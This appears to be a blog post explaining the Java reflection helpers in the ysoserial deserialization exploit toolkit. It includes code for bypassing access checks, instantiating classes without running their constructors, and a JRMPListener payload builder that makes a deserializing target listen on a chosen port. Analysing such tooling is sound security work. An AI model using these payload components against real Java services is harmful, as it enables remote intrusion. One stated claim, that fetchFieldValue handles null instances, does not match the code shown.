Internal Reflection Utilities Within ysoserial Payloads

Effective exploitation via Java deserialization often hinges on bypassing access controls and instantiating objects without invoking standard constructors. The ysoserial toolkit addresses these challenges through specialized utility classes, primarily located in the payloads.util package. Two critical components facilitate these operations: Reflections.java for managing access modifiers and instantiation, and Gadgets.java for constructing exploit chains. This analysis focuses on the reflection mechanisms that enable payload execution.

Managing Access Permissions

Modern JDK versions restrict reflective access to non-public members. The setAccessible method within the utility class handles this by detecting the runtime environment. For JDK versions prior to 12, it utilizes Permit.setAccessible to suppress warnings. For version 12 and above, direct invocation of setAccessible(true) is required as suppression is no longer supported.

public static void enableAccess(AccessibleObject target) {
    String runtimeVer = System.getProperty("java.specification.version");
    int majorVer = Integer.parseInt(runtimeVer.split("\\.")[0]);
    
    if (majorVer < 12) {
        // Suppress warnings for older JDKs
        Permit.setAccessible(target);
    } else {
        // Direct access for newer JDKs
        target.setAccessible(true);
    }
}

Field Retrieval and Manipulation

Retrieving fields often requires traversing the class hierarchy, as getDeclaredField does not search superclasses. The retrieveField method autoamtes this recursion. It attempts to locate the member in the current class; if unsuccessful, it queries the superclass until the field is found or the hierarchy is exhausted.

public static Field retrieveField(final Class<?> targetType, final String memberName) {
    Field member = null;
    try {
        // Search only the current class declaration
        member = targetType.getDeclaredField(memberName);
        enableAccess(member);
    } catch (NoSuchFieldException ex) {
        // Recursively search parent classes
        if (targetType.getSuperclass() != null) {
            member = retrieveField(targetType.getSuperclass(), memberName);
        }
    }
    return member;
}

This approach simplifies accessing private members. For instance, accessing the method field in org.codehaus.groovy.runtime.MethodClosure typically requires multiple lines of boilerplate. Using the utility reduces this to a single call:

Field closureMethod = retrieveField(
    Class.forName("org.codehaus.groovy.runtime.MethodClosure"), 
    "method"
);

Value extraction is handled by fetchFieldValue, which combines field retrieval and value access. If the target object is null, it retrieves the value of a static field.

public static Object fetchFieldValue(final Object instance, final String memberName) throws Exception {
    final Field member = retrieveField(instance.getClass(), memberName);
    return member.get(instance);
}

Constructor Handling

Instantiating classes reflectively often requires accessing non-public constructors. The getPrimaryConstructor method retrieves the first declared constructor regardless of its visibility.

public static Constructor<?> getPrimaryConstructor(final String className) throws Exception {
    final Constructor<?> ctor = Class.forName(className).getDeclaredConstructors()[0];
    enableAccess(ctor);
    return ctor;
}

While functional, this limits control to the first available constructor. A more flexible approach allows specifying the constructor index:

public static Constructor<?> getConstructorByIndex(final String className, int index) throws Exception {
    final Constructor<?> ctor = Class.forName(className).getDeclaredConstructors()[index];
    enableAccess(ctor);
    return ctor;
}

Standard instantiation wraps this logic, passing variable arguments to the constructor:

public static Object createInstance(String className, Object ... params) throws Exception {
    return getPrimaryConstructor(className).newInstance(params);
}

Serialization-Based Instantiation

Certain gadget chains require instantiating objects without invoking any constructor logic, which is critical for classes that might throw exceptions during initialization. The instantiateViaSerialization method leverages sun.reflect.ReflectionFactory to acheive this.

public static <T> T instantiateViaSerialization(Class<T> targetClass, Class<? super T> baseClass, Class<?>[] argTypes, Object[] args)
        throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
    
    // Locate the constructor in the base class
    Constructor<? super T> baseCtor = baseClass.getDeclaredConstructor(argTypes);
    enableAccess(baseCtor);
    
    // Create a serialization-specific constructor for the target class
    Constructor<?> serialCtor = ReflectionFactory.getReflectionFactory()
            .newConstructorForSerialization(targetClass, baseCtor);
    enableAccess(serialCtor);
    
    return (T) serialCtor.newInstance(args);
}

The process involves three steps:

  1. Retrieve a valid constructor from a superclass using getDeclaredConstructor.
  2. Generate a special constructor object via newConstructorForSerialization. This object bypasses standard initialization rules.
  3. Invoke newInstance on the special constructor to create the object instance.

Practical Application: JRMP Listener

This mechanism is essential for establishing RMI listeners in exploits like JRMPListener. The goal is to instantiate ActivationGroupImpl using the constructor of its superclass RemoteObject, then modify the port field to listen on a specific channel.

public static UnicastRemoteObject buildRemoteListener(final String portConfig) throws Exception {
    int listenPort = Integer.parseInt(portConfig);
    
    // Instantiate ActivationGroupImpl using RemoteObject's constructor logic
    UnicastRemoteObject remoteObj = instantiateViaSerialization(
        ActivationGroupImpl.class, 
        RemoteObject.class, 
        new Class[] { RemoteRef.class }, 
        new Object[] { new UnicastServerRef(listenPort) }
    );

    // Force the port field to the desired value
    Field portField = retrieveField(UnicastRemoteObject.class, "port");
    portField.set(remoteObj, listenPort);
    
    return remoteObj;
}

When serialized and sent to a target, the deserialization process triggers readObject on UnicastRemoteObject, which calls exportObject. Since the port field was manipulated via reflection prior to serialization, the object exports on the attacker-controlled port.

The workflow during deserialization is:

  1. UnicastRemoteObject.readObject is invoked.
  2. exportObject is called using the modified port value.
  3. TCPTransport begins listening on the specified port.

Utility API Reference

The following methods summarize the core reflection capabilities available for payload development:

  • enableAccess(AccessibleObject): Adjusts accessibility flags compatible with various JDK versions.
  • retrieveField(Class, String): Recursively searches for a field across the class hierarchy and enables access.
  • fetchFieldValue(Object, String): Returns the value of a specific field from an object instance.
  • setFieldValue(Object, String, Object): Assigns a new value to a specific field within an object.
  • getPrimaryConstructor(String): Retrieves the first declared constructor of a class.
  • createInstance(String, Object...): Instantiates a class using its primary constructor.
  • instantiateViaSerialization(Class, Class, Class[], Object[]): Creates an instance using a serialization-backed constructor to bypass initialization logic.
  • createWithoutConstructor(Class): A simplified wrapper for instantiation without arguments using the serialization mechanism.

Tags: ysoserial java reflection Security deserialization

Posted on Mon, 11 May 2026 10:04:07 +0000 by mr_zhang